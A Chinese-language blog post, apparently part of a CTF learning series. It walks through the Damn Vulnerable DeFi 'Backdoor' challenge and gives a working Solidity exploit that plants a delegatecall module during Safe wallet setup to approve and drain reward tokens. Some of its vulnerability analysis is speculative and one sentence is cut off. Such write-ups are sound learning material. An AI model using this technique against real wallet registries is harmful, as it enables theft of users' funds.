iT邦幫忙

2024 iThome 鐵人賽

DAY 14
0
Security

我也想成爲好駭客系列 第 14

Day 14 - Backdoor_欸藏後門不揪

  • 分享至 

  • xImage
  •  

好欸我的新玩具到了,之後寫完這個 CTF 就可以來玩黑魔法了

To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Safe wallets. When someone in the team deploys and registers a wallet, they earn 10 DVT tokens.

The registry tightly integrates with the legitimate Safe Proxy Factory. It includes strict safety checks.

Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them.

Uncover the vulnerability in the registry, rescue all funds, and deposit them into the designated recovery account. In a single transaction.

Analyze WTF

按照題目的要求,我們需要在一次交易中完成我們的目標
然後要求我們需要把合約地址中因為有 4 個用戶註冊而產生的 40 DVT 轉移到恢復帳號的地址中

proxyCreated 函數中,合約在檢查所有條件之後,才進行代幣的轉移(SafeTransferLib.safeTransfer(...))
如果代幣轉移的合約是可重入的,這可能會導致攻擊者能夠重複調用 proxyCreated 函數,從而獲得不應得的代幣。

而且合約依賴於 Safe 合約的多個函數(如 getThreshold()getOwners())。如果這些函數的行為發生變化,可能會導致合約的安全性問題。尤其是在一個未經審計的外部合約中,這樣的依賴關係可能導致未預期的後果。

雖然合約檢查 msg.sender 是否為 walletFactory,但如果 walletFactory 的地址被更改或攻擊者能夠偽造 msg.sender

Solve WTF

contract:

contract BackdoorSolution {
    uint256 private constant PAYMENT_AMOUNT = 10e18;
    address backdoor;
    address token;

    function go(WalletRegistry walletRegistry, SafeProxyFactory walletFactory, Safe singletonCopy, address[] calldata users, address token_, address recovery) external {
        backdoor = address(new Backdoor());
        token = token_;
        for (uint256 i = 0; i < users.length; i++) {
            bytes memory initializer = getInitializer(users[i]);
            address proxy = address(
                walletFactory.createProxyWithCallback(address(singletonCopy), initializer, 0, walletRegistry)
            );
            (bool success, ) = token.call(abi.encodeWithSignature("transferFrom(address,address,uint256)", proxy, recovery, PAYMENT_AMOUNT));
            require(success, "Transfer failed");
        }
    }

    function getInitializer(address user) internal view returns (bytes memory initializer) {
        address[] memory _owners = new address[](1);
        _owners[0] = user;
        initializer = abi.encodeWithSelector(Safe.setup.selector, _owners, 1, backdoor, abi.encode(token, this), address(0), address(0), 0, address(0));
    }
}

contract Backdoor {
    fallback() external {
        (address token, address owner) = abi.decode(msg.data, (address, address));
        (bool success,) = token.call(abi.encodeWithSignature("approve(address,uint256)", owner, 10e18));
        require(success, "Approval failed");
    }
}

test function:

function test_backdoor() public checkSolvedByPlayer {
        new BackdoorSolution().go(walletRegistry, walletFactory, singletonCopy, users, address(token), recovery);
}

https://ithelp.ithome.com.tw/upload/images/20240928/20163009ZdrKvZu79p.png
每日梗圖(1/1)
https://ithelp.ithome.com.tw/upload/images/20240928/20163009I28pLInool.jpg


上一篇
Day 13 - Free Rider_Youbike
下一篇
Day 15 - Climber_欸你看山羌欸
系列文
我也想成爲好駭客30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言